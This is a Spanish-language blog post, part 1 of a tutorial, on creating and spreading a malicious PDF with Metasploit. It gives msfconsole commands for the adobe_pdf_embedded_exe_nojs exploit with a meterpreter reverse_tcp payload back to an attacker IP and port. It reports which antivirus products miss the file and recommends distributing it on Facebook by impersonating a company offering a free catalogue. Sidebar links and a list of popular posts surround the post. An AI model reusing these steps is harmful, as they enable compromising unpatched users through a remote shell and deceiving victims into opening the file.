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Este blog ya no está activo, sigue informándote aquí:



	







Blog elhacker.NET











Fallece Akira Toriyama, creador de series míticas como Dragon Ball y Dr. 
Slump



                      -
                    



Bird Studio, la empresa creadora de *Dragon Ball*, ha anunciado este 
viernes el fallecimiento de *Akira Toriyama*, creador de la compañía y del 
icónico m...


Hace 15 horas









	







Un informático en el lado del mal











News Bender Daily: Un blog de Ciberseguridad e Inteligencia Artificial



                      -
                    

Hoy os dejo la referencia de un blog, llamado News Bender Daily, de *noticias 
de ciberseguridad e Inteligencia Artificial* que se hace eco de las reseñas 
d...


Hace 20 horas









	







hackplayers











DarkWidow: Dropper/PostExploitation Tool



                      -
                    



DarkWidow, desarrollado por @reveng007 y presentado de la BlackHat de Asia 
de 2023, es un proyecto de malware en GitHub que destaca por su enfoque en 
la ...


Hace 3 días









	







Security Art Work





Operaciones de proximidad en el ciberespacio



                      -
                    



En el ámbito de las operaciones en el ciberespacio, la mayor parte de 
operaciones de ataque o explotación son remotas, es decir, se realizan a 
través de ...


Hace 4 meses









	







Gobierno de la ciberseguridad











Gestión de incidentes y crisis, cuando el "MundoReal" impacta en primera 
persona.



                      -
                    



Este blog técnico siempre ha orientado sus contenidos a compartir 
conocimientos en la materia o comentar situaciones cotidianas analizadas 
desde la persp...


Hace 1 año









	







ConexionInversa











IRCP: la primera certificación de ciberseguridad práctica especializada en 
Respuesta ante Incidentes y Análisis Forense Digital



                      -
                    



Ha sido desarrollada por una empresa de seguridad española y mide 
conocimientos reales de respuesta ante incidentes de seguridad, aplicados 
en un entorno...


Hace 6 años
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Pdf Y Metasploit (Parte 1) .- Creación Y Difusión. 








Hace ya un tiempo que el ataque con PDF maliciosos esta dando muy buenos resultados. Un PDF de ese tipos tarda mas de 5 minutos en crearse y buscando un medio de difusión correcto puede causar estragos a aquellos que no actualicen su software adecuadamente.








Adobe esta tomando todas las medidas que puede pero no son suficientes. Ya dedique [una tira] respecto a lo que pensaba de la cantidad de ataques que esta recibiendo esta compañía, pero me rondaba la curiosidad y las ganas de poder hacer un PDF malicioso y analizarlo un poco.  Así que me he puesto a ello.



El proceso es fácil, rápido y solo necesitamos los siguientes Ingredientes: 


	Distribución Linux:  Backtrack 5 - R3 ( R1 y R2 también sirven pero ya que estáis bajaros la ultima versión desde la pagina oficial que es gratis. ) http://www.backtrack-linux.org/
	Tener instalado el Metasploit Frameworks (Si os habeis bajado la ultima versión viene de serie con el S.O)
	Un Windows entre XP-7 el cual explotar (os sugiero que lo proveéis en una maquina virtual) 
	Dicho Windows ha de tener una versión de Adobe Reader 9.1 o menor. 




Aunque en esta primera parte solo nos centraremos en la creación y la difusión de este PDF mas vale que tengáis preparada el Windows 7 para mas adelante. 






Para esta investigación nos basaremos en [Adobe PDF Escape EXE Socila Engineering] dado que tiene un rango excelente y actúa en una versión de Adobe no muy vieja. Empecemos a darle caña.


	Una vez en Backtrack abrimos la terminal y escribimos: msfconsole esta operación suele tardar unos minutos. 





	 Cuando acabe de cargar pondremos el siguiente codigo: 





Use exploit/windows/fileformat/adobe_pdf_embedded_exe_nojs <-- (seleccionamos el exploit que vamos a usar, el que previamente habremos buscado en la web o en nuestro repositorio y se adecue a nuestras necesidades)


 Set payload windows/meterpreter/reverse_tcp <-- (definimos el [payload] que devolverá el [meterpreter])


Set filename XXXX_XXX.pdf <-- (creamos el archivo pdf con el nombre que queramos)


Set lhost 192.168.1.23 <-- (definimos la IP del atacante por la cual nos pondremos a la escucha en el momento que la victima abra el pdf)


Set lport 8080 <-- (definimos el puerto del atacante, también sera importante para escuchar mas adelante) 

Ya tenemos en nuestro poder el Pdf Malicioso dispuesto a ser distribuido. Tened en cuenta que se guarda en una ruta especial del root/.msf4/local , si no lográis ver la carpeta apretad CONTROL + H  para desocultarlas.



Ahora solo nos queda distribuirlo por donde los antivirus nos dejen. He hecho la prueba con [Virus Total] una Web donde puedes puedes comprobar si un archivo está libre de virus y de la que ya os hablamos aquí en los comienzos de este blog (es la segunda entrad xD). El resultado no ha podido sorprenderme mas, mi pdf se llama Cambios_En_La_Web.







O.O se lo comen 20 antivirus del mercado. 






Por lo que alguna presa grande del sector debe haber caído no? En efecto.









O.O Kaspersky me has fallado. Pero tranquilos que Avast, AVG y Windows Defender si que los caza..






Lo primero que se nos viene a la cabeza a la hora de distribuirlo es a empaquetarlo en un email y tirar de dotes de Ingeniero social para que la victima acabe descargándose el archivo. No va a ser tan fácil ahora mismo la mayoría de sistemas de correo electrónico escanean los archivos que subes, este truco hace tiempo que se conocen así que ya han tomado medidas para ello. Un ejemplo claro son Hotmail con el Trend Micro Pc Cillin o Gmail con su Sophos (aunque solo es un rumor). 









No me esperaba menos de Gmail .






¿He dicho que no podía ser tan fácil? Perdón me he equivocado xDD









0.0 ¿tendría que haber avisado a facebook de esto? 






En efecto en Facebook no hay antivirus así que favorece el crecimiento de estos ataques. Solo has de hacerte pasar por una empresa X que ofrece Y gratis y te entrega un catalogo para que te lo mires guiño guiño. Facil, comodo y en un canal con millones de personas. 






Ahora el problema sera burlar al antivirus que tenga la victima instalado en su equipo y aprenderemos a analizarlos para estar seguros. Pero eso lo dejaremos para otra entrada. 






_______________________________________________________________________________


Las Gracias A Quienes Se Las Merecen:




	http://www.blackploit.com <-- por su pentest al que recurriremos para la segunda parte.
	http://www.seguridadjabali.com <-- por si explicación de payload
	http://thehackerway.com <-- por los conceptos basicos de meterpreter
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Ayuda a programar a tonto (Nuestro asistente virtual)













raw_input("¿Me Ayudas con Python? ")













cd C:\Users\DoubleReboot







Tutoriales y Utilidades.






Entradas populares


	







Infografía.- ¿Qué puedo hacer contra el Malware en Smartphones?

 Volvemos a los clásicos y ahora de la mano de la Europol que, supongo que algo saben de esto ya que con la que está cayendo mas de un caso ...






	







Como crear tu propio sistema operativo en C/C++

 Otra entrada o nota para mi yo de futuro cuando se digne a aprender, de verdad, C o C++ y aunque solo [ es la segunda entrada ] ya podéis v...






	







Vídeo.- Como puedes ser pillado aunque uses TOR

 El enrutado de la cebolla es una de las maravillan de nuestro tiempo pero, hay que aprender de los errores ya que algunos usuarios han sido...






	







Cheat Sheet.- La Magia del find

 Por favor seguid ya a la cuanta de Twitter de [ Julia Evans ] que últimamente esta que se sale con los Cheat Sheet de varios comandos para ...






	







Vídeo.- Entendiendo de Password Cracking

 Como habéis podido comprobar llevo un par de semanas que me cuesta seguir con el blog, ya que creo que para las cosas que quiero hacer nece...






	







Hobbytruco.- Kali Linux, Apache2 y un archivo muy pesado. 

 Esto mas que un hobby truco es una advertencia para navegantes que, como yo, no sepan usar el TFTP que viene por defecto en Kali Linux.    ...






	

OpenVas Management Scripts

 Pues claramente esta entrada va de lo que pone en el titulo, últimamente trabajar con OpenVas esta siendo un horror, pero si tienes claro c...






	







OpenVas.- Como bloquear plugins para siempre. 

 OpenVas el escaner de vulnerabilidades gratuito va muy bien para unas cosas pero muy mal para otras, por ejemplo a la hora de descartar vul...






	







Cheat Sheet.- Poster Memory Forensics.

Otro poster mas que añadir a nuestra colección si el otro día hablábamos del poster/chuleta para hacer forenses en Windows hoy toca ver como...






	







Vídeo.- Oligomorphic, Polymorphic and Metamorphic Viruses 

 Hoy me lo voy a currar muy poco, estoy con la intención de abandonar seriamente Facebook pero eso lo dejaremos para otra entrada.      Supo...




































































Con la tecnología de Blogger.





































